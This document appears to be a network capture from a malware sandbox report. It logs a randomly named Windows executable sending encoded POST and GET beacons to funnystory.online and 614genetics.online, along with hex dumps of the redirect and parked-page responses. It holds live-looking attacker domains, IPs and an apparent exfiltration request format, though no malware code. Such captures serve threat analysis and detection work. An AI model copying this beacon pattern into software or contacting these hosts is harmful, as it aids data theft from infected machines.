u6nP_F48=Qxv5Wqat9pGaR/6QH6laib+ueAJ1zeoEBzgSz3p1eSCbcl7cX4+KDT3QPx91T3G4+/JDjHVcJ3OSkhveyIyqO9FkyMO9+nNWgcd1FgeQ5PxiGoehMKeQUBP+BsYH6xaNhvyDRyYS0/5mUyWg9f24CXXLrQb1tijZoxNuqR1qvwqFKJs0v6b0haJ8i7mu09rRL/9oIvkTJMEFOjR1za5ppx76eBAUQlC8kg==
Dec 3, 2024 14:40:12.133110046 CET	464	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 13:40:11 GMT Server: Apache Location: http://www.funnystory.online/cgi-sys/suspendedpage.cgi Content-Length: 238 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 75 6e 6e 79 73 74 6f 72 79 2e 6f 6e 6c 69 6e 65 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65 64 70 61 67 65 2e 63 67 69 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://www.funnystory.online/cgi-sys/suspendedpage.cgi">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50037	172.104.82.74	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:13.438276052 CET	1855	OUT	POST /plyd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.funnystory.online Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.funnystory.online Referer: http://www.funnystory.online/plyd/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 51 78 76 35 57 71 61 74 39 70 47 61 52 2f 36 51 48 36 6c 61 69 62 2b 75 65 41 4a 31 7a 65 6f 45 42 7a 67 53 7a 33 70 31 65 53 4b 62 63 57 7a 63 56 62 47 4b 43 54 33 51 54 42 39 30 54 33 47 35 2b 2f 52 48 6a 48 59 2b 4a 30 6d 53 6b 41 50 65 30 35 79 71 64 64 46 6b 77 4d 4f 2b 36 6e 4e 50 67 59 35 70 46 67 4f 51 35 50 78 69 47 76 6d 68 43 49 6d 51 57 42 50 39 4a 4d 5a 54 72 68 61 70 68 76 62 2b 52 79 73 64 30 4f 5a 6d 55 54 6d 67 75 5a 43 34 64 6e 58 4a 71 51 62 74 74 69 2f 47 6f 31 6c 69 71 53 70 55 76 33 61 46 49 66 46 7a 71 35 2f 4f 67 62 51 61 6a 37 4b 4c 73 62 62 66 4d 76 78 48 4c 39 6f 6c 42 38 51 53 50 30 55 6a 6e 59 4d 62 6a 7a 7a 33 66 6e 55 46 5a 31 4c 4c 6d 4f 74 6d 50 57 67 6c 75 42 71 30 4a 49 6b 48 41 33 56 36 56 6f 33 77 6f 59 62 4b 58 72 54 44 7a 58 71 2f 6a 79 52 2b 34 31 7a 49 73 43 61 71 76 2b 6d 30 43 54 78 63 6d 74 5a 37 6a 57 34 33 50 53 65 47 74 69 66 79 58 64 63 51 38 7a 65 6e 74 67 53 6e 31 6b 73 35 6e 78 62 55 64 34 5a 66 6b 67 74 58 45 64 56 55 36 [TRUNCATED] Data Ascii: u6nP_F48=Qxv5Wqat9pGaR/6QH6laib+ueAJ1zeoEBzgSz3p1eSKbcWzcVbGKCT3QTB90T3G5+/RHjHY+J0mSkAPe05yqddFkwMO+6nNPgY5pFgOQ5PxiGvmhCImQWBP9JMZTrhaphvb+Rysd0OZmUTmguZC4dnXJqQbtti/Go1liqSpUv3aFIfFzq5/OgbQaj7KLsbbfMvxHL9olB8QSP0UjnYMbjzz3fnUFZ1LLmOtmPWgluBq0JIkHA3V6Vo3woYbKXrTDzXq/jyR+41zIsCaqv+m0CTxcmtZ7jW43PSeGtifyXdcQ8zentgSn1ks5nxbUd4ZfkgtXEdVU6SaYpC/T/FR5+3PZWh0wS4ta6uOkYoK+E4Kr71ZJHK9B8c4c5TjQv+aUkLnqDkKtqvp4gv1aPJ6VI5DMgFDs1diudFQZJOyDPCf95jVhQj/z/7b/Yu5BiOYvkyUt3o+CWldZr/Sy6ShOZeQ9wL136q4JCa7lrGQ6Ad8EcSa0WxfJ5Dk7re8hOAQiX/lAjpCTeDrocXMvAiztCiS6/IAEPByOJ2XHp/wccw7pknJWYs93k0rTYRzLFETta1aEJ37q64rS4hxgTn6JpemDbvuOv3t2Emsq8nVz4Ad/T0zZUpX+GoQN4Q26e9zRIvJudlwdAaZ/Vd28t1xHYkhxLCVI0ZEyygJE1oItujJDuiJ30o6cqP08Rfxvqnf2xuA/d3SRPNJdeKq0KonKRc9R2LXCRzLyTh1bzrujkDAn54uJhRj3yz2H/xjyGX4t9dr5y0g6GhXHOEspdbeiRn4BLJdxoJWUajWcOYifHIN0OdA4zqmqfjU7BWoBqLPf+WivZ7r2fgEwlTv8fk83w3j/IrV5TICTsyF0GuUQljfp4EFG2KYVZ4cqwqO20gEAggYwDj2p7Las6KhyeN0yALrhkstCvJPgizDH/RD32gJjZv72uCm+2t2S3MItd/TTUe9HkqEUJH57gthMGTg/ov3M5gBlwUGBFeFTZXid3OO [TRUNCATED]
Dec 3, 2024 14:40:14.963255882 CET	464	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 13:40:14 GMT Server: Apache Location: http://www.funnystory.online/cgi-sys/suspendedpage.cgi Content-Length: 238 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 75 6e 6e 79 73 74 6f 72 79 2e 6f 6e 6c 69 6e 65 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65 64 70 61 67 65 2e 63 67 69 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://www.funnystory.online/cgi-sys/suspendedpage.cgi">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50038	172.104.82.74	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:16.107203960 CET	557	OUT	GET /plyd/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY+WJKlD1JvNcS8At/hTBiY50HAPZV2ofm/GZqXRfQPKYRVLRkTR3sVHjl53Bmiktifh36yAEsVj1orjw3l3xM5ELiir5eYKE6CYAoGwQn3hI9wO6DC6wMKZTnE= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.funnystory.online Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:40:17.522635937 CET	802	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 13:40:17 GMT Server: Apache Location: http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY+WJKlD1JvNcS8At/hTBiY50HAPZV2ofm/GZqXRfQPKYRVLRkTR3sVHjl53Bmiktifh36yAEsVj1orjw3l3xM5ELiir5eYKE6CYAoGwQn3hI9wO6DC6wMKZTnE= Content-Length: 409 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 75 6e 6e 79 73 74 6f 72 79 2e 6f 6e 6c 69 6e 65 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65 64 70 61 67 65 2e 63 67 69 3f 46 38 53 30 47 3d 75 6c 38 30 72 50 68 78 46 6c 52 38 6c 48 26 61 6d 70 3b 75 36 6e 50 5f 46 34 38 3d 64 7a 48 5a 56 64 65 41 36 72 36 61 42 59 2b 57 4a 4b 6c 44 31 4a 76 4e 63 53 38 41 74 2f 68 54 42 69 59 35 30 48 41 50 5a 56 32 6f 66 6d 2f 47 5a 71 58 52 66 51 50 4b 59 52 56 4c 52 6b 54 52 33 73 56 48 6a 6c 35 33 42 6d 69 6b 74 69 66 68 33 36 79 41 45 73 56 6a 31 6f 72 6a 77 33 6c 33 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY+WJKlD1JvNcS8At/hTBiY50HAPZV2ofm/GZqXRfQPKYRVLRkTR3sVHjl53Bmiktifh36yAEsVj1orjw3l3xM5ELiir5eYKE6CYAoGwQn3hI9wO6DC6wMKZTnE=">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50039	208.91.197.27	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:23.324469090 CET	821	OUT	POST /n3sn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.614genetics.online Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.614genetics.online Referer: http://www.614genetics.online/n3sn/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 63 64 69 33 59 54 5a 69 77 6e 72 49 51 32 4e 34 64 62 6f 48 43 35 65 6a 41 70 74 4b 7a 38 6b 70 75 75 38 77 38 2b 6a 63 4a 67 75 79 47 76 5a 73 59 51 66 50 4e 70 37 2b 67 76 4f 58 78 36 56 31 56 35 39 6e 57 43 63 2b 65 72 31 57 33 56 43 6f 77 41 56 41 37 41 59 62 39 62 42 38 58 47 55 4b 77 4e 42 76 42 72 5a 58 52 48 6d 64 32 5a 4e 2f 64 30 71 6a 72 59 54 61 44 76 48 39 54 64 57 59 39 45 7a 53 47 7a 73 4b 54 44 38 76 39 56 31 6f 47 49 5a 36 61 34 70 43 65 48 78 6d 62 65 49 70 62 6f 6f 62 35 65 53 71 45 36 66 4b 47 68 33 72 63 49 71 6f 79 66 52 32 33 36 71 58 6f 59 51 66 4b 53 4e 63 49 70 78 4e 61 4e 78 33 Data Ascii: u6nP_F48=cdi3YTZiwnrIQ2N4dboHC5ejAptKz8kpuu8w8+jcJguyGvZsYQfPNp7+gvOXx6V1V59nWCc+er1W3VCowAVA7AYb9bB8XGUKwNBvBrZXRHmd2ZN/d0qjrYTaDvH9TdWY9EzSGzsKTD8v9V1oGIZ6a4pCeHxmbeIpboob5eSqE6fKGh3rcIqoyfR236qXoYQfKSNcIpxNaNx3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50040	208.91.197.27	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:25.984782934 CET	845	OUT	POST /n3sn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.614genetics.online Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.614genetics.online Referer: http://www.614genetics.online/n3sn/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 63 64 69 33 59 54 5a 69 77 6e 72 49 51 57 39 34 4f 6f 51 48 56 70 65 69 4d 4a 74 4b 36 63 6b 74 75 75 77 77 38 38 4f 52 4a 53 4b 79 47 4b 64 73 5a 55 4c 50 42 4a 37 2b 72 50 4f 53 38 61 55 33 56 35 67 61 57 41 59 2b 65 76 64 57 33 56 53 6f 77 53 39 44 30 77 59 5a 78 37 42 36 4b 32 55 4b 77 4e 42 76 42 72 63 36 52 48 2b 64 31 70 64 2f 66 56 71 67 6f 59 54 5a 55 66 48 39 5a 4e 57 55 39 45 79 48 47 32 31 6e 54 48 4d 76 39 58 39 6f 47 5a 5a 31 54 34 70 45 44 58 77 6a 62 38 64 31 52 70 5a 70 32 74 57 32 66 71 62 58 4f 33 71 78 41 37 71 4c 67 50 78 30 33 34 79 6c 6f 34 51 31 49 53 31 63 61 2b 39 71 56 35 55 55 2b 6a 44 6c 56 71 68 6a 65 5a 38 46 66 30 46 6b 33 38 52 38 51 51 3d 3d Data Ascii: u6nP_F48=cdi3YTZiwnrIQW94OoQHVpeiMJtK6cktuuww88ORJSKyGKdsZULPBJ7+rPOS8aU3V5gaWAY+evdW3VSowS9D0wYZx7B6K2UKwNBvBrc6RH+d1pd/fVqgoYTZUfH9ZNWU9EyHG21nTHMv9X9oGZZ1T4pEDXwjb8d1RpZp2tW2fqbXO3qxA7qLgPx034ylo4Q1IS1ca+9qV5UU+jDlVqhjeZ8Ff0Fk38R8QQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50041	208.91.197.27	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:28.655308962 CET	1858	OUT	POST /n3sn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.614genetics.online Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.614genetics.online Referer: http://www.614genetics.online/n3sn/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 63 64 69 33 59 54 5a 69 77 6e 72 49 51 57 39 34 4f 6f 51 48 56 70 65 69 4d 4a 74 4b 36 63 6b 74 75 75 77 77 38 38 4f 52 4a 53 43 79 47 59 56 73 59 7a 33 50 50 70 37 2b 33 66 4f 54 38 61 55 32 56 35 34 65 57 41 56 46 65 74 6c 57 78 47 71 6f 6e 54 39 44 76 41 59 5a 35 62 42 37 58 47 55 66 77 4e 52 72 42 72 4d 36 52 48 2b 64 31 72 56 2f 52 55 71 67 75 59 54 61 44 76 48 35 54 64 58 42 39 45 72 77 47 32 42 52 54 30 45 76 39 33 74 6f 46 72 78 31 63 34 70 38 43 58 77 46 62 38 42 63 52 70 45 59 32 75 4b 51 66 74 54 58 65 67 50 34 53 4a 32 49 2f 38 70 4c 6d 65 6d 34 74 50 73 68 42 52 78 69 63 64 74 4d 53 37 51 4d 34 30 6a 6d 64 49 55 4d 4a 59 49 52 5a 79 6b 4d 32 59 38 6d 43 6e 2b 52 45 43 39 39 36 4a 47 74 4b 52 7a 4a 71 34 4e 56 38 32 70 79 5a 37 72 4c 56 50 2b 50 69 75 6a 63 4f 67 6d 6c 41 4b 66 33 4c 57 4c 53 73 70 31 38 30 68 38 61 72 36 78 6a 64 76 4e 30 4f 33 62 64 57 74 5a 61 44 58 47 68 35 55 45 42 6f 4e 30 77 63 69 6a 75 47 70 37 62 44 7a 4c 41 37 35 6b 71 44 4c 44 57 38 [TRUNCATED] Data Ascii: u6nP_F48=cdi3YTZiwnrIQW94OoQHVpeiMJtK6cktuuww88ORJSCyGYVsYz3PPp7+3fOT8aU2V54eWAVFetlWxGqonT9DvAYZ5bB7XGUfwNRrBrM6RH+d1rV/RUqguYTaDvH5TdXB9ErwG2BRT0Ev93toFrx1c4p8CXwFb8BcRpEY2uKQftTXegP4SJ2I/8pLmem4tPshBRxicdtMS7QM40jmdIUMJYIRZykM2Y8mCn+REC996JGtKRzJq4NV82pyZ7rLVP+PiujcOgmlAKf3LWLSsp180h8ar6xjdvN0O3bdWtZaDXGh5UEBoN0wcijuGp7bDzLA75kqDLDW8ygAxHCWxmShlHyt9+N6PqXVy7n2TEjBS6Wv4CaPMuJaOZ+VDYqLJwvaJM9VxX6JMkpAFCfwWuXgL7kmFc45HSBu5Kvery4UpsqVsKW7Hb1DZ159SseF3z9UIEbto7jf+uGeOoaIrKPBNz5wtCm5DfsRNzYjrPKzj6lmcwBtcC4X7iGwglMEBO0DstEpTJypR+osuFuJrYemm3gZ64/h18FUSsbupJKsB01CCpgqMQ8epoYMLvvXGPW28NAqUX8ylEC8Z2MynDyeHEBbRwLVYbAC8cmrE6a4sIoOcj6Zfki7OVS3VmdC/q4GLQTsdlm3t/mpn8+A4BCtw2P6HPfgLRM5+lOM/Jmd0QbCxvQl9byC/fI1HxsonYCj24uUfHIUSvCqF+xzwdfO2TlH5L60BERIxwB4WiIR+hMB62VbW/10V6I2E+rZisxL+WRouY2c6rbDgsNpetYaMYj7a8YwfQq0RdRhV9FfBPyIPL/2UpmnP2cDGrCLNv+8p16kryNTBf+AIcrvfoqXPOdYmRbZ11xMQ63SbrXEFqXZYkA7n+EeHPGmM2EJzd5ehUTmiDvGKu9Qs+AEQT8FgLNaLO3B/8pr6yjjKIQICanV+MDTe3Hz/cDCAkanJiPKYaDdhqmN7nvSrXKphi2E39dAXYTdXr3ojDKYKvFGzs4 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50042	208.91.197.27	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:31.318845987 CET	558	OUT	GET /n3sn/?u6nP_F48=RfKXbkttwVfKfWhPTrA3UJfHAa0lqotu1/Ih4u/jCz+IVopDYjbPUryKgNOP1Jh4fKEyHC4SaeJpkkGXoxNgwDh8y8hzLkYWybtZWLt0K3r82a9qd0enmdThBea8SuX4gW/lNzc=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.614genetics.online Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:40:33.049078941 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:40:32 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=903vr48077883247977615; expires=Sun, 02-Dec-2029 13:40:32 GMT; Max-Age=157680000; path=/; domain=www.614genetics.online; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_kpEFkNp23E74GV2krikBfica5Qn2/WZkmn15IoDU7N69hPp2dt5Vpn09YJQiZy+VimEp8sfCCsOHsa/HN5pDbg== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 62 61 31 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 Data Ascii: ba10<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net
Dec 3, 2024 14:40:33.049181938 CET	1236	IN	Data Raw: 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e Data Ascii: "> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in
Dec 3, 2024 14:40:33.049192905 CET	1236	IN	Data Raw: 69 6f 6e 28 6a 29 7b 69 66 28 74 79 70 65 6f 66 28 6a 29 21 3d 22 62 6f 6f 6c 65 61 6e 22 29 7b 6a 3d 74 72 75 65 7d 69 66 28 6a 26 26 74 79 70 65 6f 66 28 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 29 3d 3d 22 73 74 72 69 6e 67 Data Ascii: ion(j){if(typeof(j)!="boolean"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="language
Dec 3, 2024 14:40:33.049406052 CET	1236	IN	Data Raw: 75 61 67 65 73 22 20 69 6e 20 68 29 7b 66 6f 72 28 76 61 72 20 71 3d 30 3b 71 3c 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 7b 69 66 28 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 Data Ascii: uages" in h){for(var q=0;q<h.cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(i,e){var w="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.
Dec 3, 2024 14:40:33.049417019 CET	1236	IN	Data Raw: 68 2e 63 6d 70 5f 70 61 72 61 6d 73 3a 22 22 29 2b 28 75 2e 63 6f 6f 6b 69 65 2e 6c 65 6e 67 74 68 3e 30 3f 22 26 5f 5f 63 6d 70 66 63 63 3d 31 22 3a 22 22 29 2b 22 26 6c 3d 22 2b 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 22 26 6f 3d 22 2b Data Ascii: h.cmp_params:"")+(u.cookie.length>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else
Dec 3, 2024 14:40:33.049722910 CET	694	IN	Data Raw: 5d 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c Data Ascii: ]){if(document.body){var a=document.createElement("iframe");a.style.cssText="display:none";if("cmp_cdn" in window&&"cmp_ultrablocking" in window&&window.cmp_ultrablocking>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttrib
